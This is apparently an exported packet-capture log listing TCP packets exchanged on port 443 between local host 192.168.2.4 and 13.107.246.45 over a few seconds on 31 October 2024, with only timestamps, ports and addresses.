Oct 31, 2024 11:28:33.297631979 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.297713995 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.297854900 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.297866106 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.905533075 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.908204079 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.908237934 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.913319111 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.913327932 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.978676081 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.978765011 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.979363918 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.979363918 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.979386091 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.979388952 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.979767084 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.979773998 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.979798079 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.979804039 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.037504911 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.038146019 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.038157940 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.038255930 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.038481951 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.038537025 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.038588047 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.038588047 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.038594007 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.038606882 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.038621902 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.038628101 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.041261911 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.041289091 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.041372061 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.041503906 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.041515112 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.065136909 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.065687895 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.065704107 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.066061020 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.066066027 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.106868029 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.107523918 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.107657909 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.108016968 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.108032942 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.108042955 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.108048916 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.108884096 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.108912945 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.108958960 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.109006882 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.109025002 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.109133959 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.109154940 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.109170914 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.109178066 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.111155987 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.111160040 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.111186981 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.111191988 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.111277103 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.111396074 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.111397028 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.111407995 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.111485958 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.111504078 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.168243885 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.168272972 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.168329954 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.168474913 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.168869019 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.168869019 CET	49947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.168889046 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.168900013 CET	443	49947	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.171905041 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.171926022 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.172012091 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.172178984 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.172190905 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.202043056 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.202069044 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.202167988 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.202191114 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.202409029 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.202409029 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.202424049 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.202581882 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.202614069 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.202663898 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.204691887 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.204739094 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.204813004 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.205002069 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.205018044 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.778275967 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.778913975 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.778944016 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.779323101 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.779335022 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.841664076 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.842389107 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.842425108 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.842751026 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.842760086 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.860138893 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.860702991 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.860732079 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.860994101 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.861001015 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.907250881 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.907275915 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.907334089 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.907347918 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.907387972 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.907769918 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.907778978 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.907790899 CET	49948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.907795906 CET	443	49948	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.910748005 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.910793066 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.910901070 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.911195993 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.911221027 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.912775040 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.913064003 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.913099051 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.913499117 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.913506031 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.935817957 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.936467886 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.936494112 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.936920881 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.936925888 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.975111961 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.975172997 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.975233078 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.975399017 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.975423098 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.975439072 CET	49950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.975446939 CET	443	49950	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.977968931 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.978008986 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.978085041 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.978216887 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.978230000 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.991693020 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.991714954 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.991770983 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.991787910 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.991828918 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.992031097 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.992042065 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.992079020 CET	49949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.992084980 CET	443	49949	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.994158983 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.994215965 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:34.994302988 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.994436026 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:34.994453907 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.045279980 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.045361996 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.045432091 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.045654058 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.045671940 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.045689106 CET	49951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.045696020 CET	443	49951	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.048412085 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.048449039 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.048554897 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.048671007 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.048687935 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.067214966 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.067244053 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.067285061 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.067326069 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.067385912 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.067507029 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.067523003 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.067533016 CET	49952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.067538023 CET	443	49952	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.069804907 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.069849968 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.069937944 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.070069075 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.070087910 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.857160091 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.857403040 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.857841015 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.857865095 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.857872963 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.857902050 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.858056068 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.858303070 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.858309984 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.858421087 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.858428001 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.858711004 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.858717918 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.859077930 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.859081984 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.980529070 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.981158972 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.981172085 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.981558084 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.981563091 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.982949018 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.983308077 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.983347893 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.983753920 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.983778954 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.988450050 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.988534927 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.988601923 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.989753008 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.989835024 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.989886045 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.990251064 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.990282059 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.990330935 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.990338087 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.990386963 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.992580891 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.992580891 CET	49953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.992589951 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.992598057 CET	443	49953	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.992677927 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.992683887 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.992691994 CET	49955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.992697001 CET	443	49955	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.993901968 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.993911028 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.993921995 CET	49954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.993926048 CET	443	49954	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.996560097 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.996581078 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.996689081 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.996709108 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.996764898 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.996833086 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.996875048 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.996882915 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.996980906 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.997005939 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.997875929 CET	49960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.997894049 CET	443	49960	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:35.997965097 CET	49960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.998060942 CET	49960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:35.998073101 CET	443	49960	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.113310099 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.113534927 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.113579988 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.113590956 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.113636971 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.113661051 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.113678932 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.113688946 CET	49956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.113693953 CET	443	49956	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.115333080 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.115401983 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.115463018 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.115622997 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.115654945 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.115673065 CET	49957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.115683079 CET	443	49957	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.116705894 CET	49961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.116739035 CET	443	49961	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.116816044 CET	49961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.116951942 CET	49961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.116961002 CET	443	49961	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.117995024 CET	49962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.118026972 CET	443	49962	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.118105888 CET	49962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.118280888 CET	49962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.118288040 CET	443	49962	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.718641043 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.719151974 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.719173908 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.719635010 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.719643116 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.736639023 CET	443	49960	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.737077951 CET	49960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.737104893 CET	443	49960	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.737463951 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.737473011 CET	49960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.737479925 CET	443	49960	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.737751961 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.737767935 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.738078117 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.738084078 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.835902929 CET	443	49961	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.836668968 CET	49961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.836688995 CET	443	49961	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.837013006 CET	49961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.837018967 CET	443	49961	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.848062038 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.848695040 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.848732948 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.848752022 CET	443	49962	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.848757029 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.848824978 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.848893881 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.848906994 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.848925114 CET	49959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.848932981 CET	443	49959	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.849144936 CET	49962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.849159002 CET	443	49962	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.849529028 CET	49962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.849534988 CET	443	49962	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.852025032 CET	49963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.852054119 CET	443	49963	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.852144957 CET	49963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.852300882 CET	49963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.852317095 CET	443	49963	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.867615938 CET	443	49960	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.867695093 CET	443	49960	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.867754936 CET	49960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.867854118 CET	49960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.867866039 CET	443	49960	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.867885113 CET	49960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.867889881 CET	443	49960	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.868457079 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.868606091 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.868654966 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.868701935 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.868710995 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.868721008 CET	49958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.868726015 CET	443	49958	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.870414972 CET	49964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.870438099 CET	443	49964	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.870518923 CET	49964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.870623112 CET	49964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.870634079 CET	443	49964	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.870707989 CET	49965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.870735884 CET	443	49965	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.870790005 CET	49965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.870942116 CET	49965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:36.870958090 CET	443	49965	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.973454952 CET	443	49961	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:36.973545074 CET	443	49961	13.107.246.45	192.168.2.4
